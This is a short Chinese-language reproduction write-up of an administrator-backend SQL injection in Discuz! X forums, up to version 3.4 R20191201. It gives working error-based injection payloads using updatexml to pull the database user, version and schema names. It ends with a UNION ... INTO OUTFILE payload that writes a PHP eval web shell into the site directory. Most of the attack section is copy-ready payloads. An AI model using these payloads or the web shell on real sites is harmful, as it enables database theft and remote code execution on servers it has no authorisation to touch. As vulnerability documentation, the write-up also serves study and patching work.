Discuz! X 系列全版本 后台Sql注入漏洞
一、漏洞简介
利用条件:
1.知道网站的绝对路径
2.secure_file_priv
的值为空
这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。 如果这个参数为空,这个变量没有效果; 如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它; 如果这个参数为NULL,MySQL服务会禁止导入和导出操作。
二、漏洞影响
Discuz!系列全版本,截止到 Discuz! 3.4 R20191201 UTF-8
三、复现过程
安装好discuz!后,登录管理员账号,进入 站长->Ucenter设置:
1.抓包
开启Burp suite抓包工具,点击网页上的 提交 后,将其发送到repeter:
2.判断列数
此时查询对应的列数,根据列数做文章:
分别 1’ order by 1 1’ order by 2
发现前者提示成功,而后者会报错:
此时我门判断只有一列,然后查询用户名,利用:1' and updatexml(1,concat(0x7e,(SELECT user())),1)-- a
3.查询版本
然后利用:1' and updatexml(1,concat(0x7e,(SELECT version())),1)-- a
查询版本号:
4.查询数据库
利用 1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- a
去查询数据库的个数:
先以这条为例:
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1)-- a
查询到数据库名为:db
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1)-- a
未查询到数据库
综上,查询到数据库共两个
5.查询数据表
任意选取一个数据库去查询表,这里选择db:
然后继续改变查询参数,可以发现有很多表。
6.写入文件
显示 The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
修改好相关的配置后
1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\DiscuzX-Common\\1.php' -- a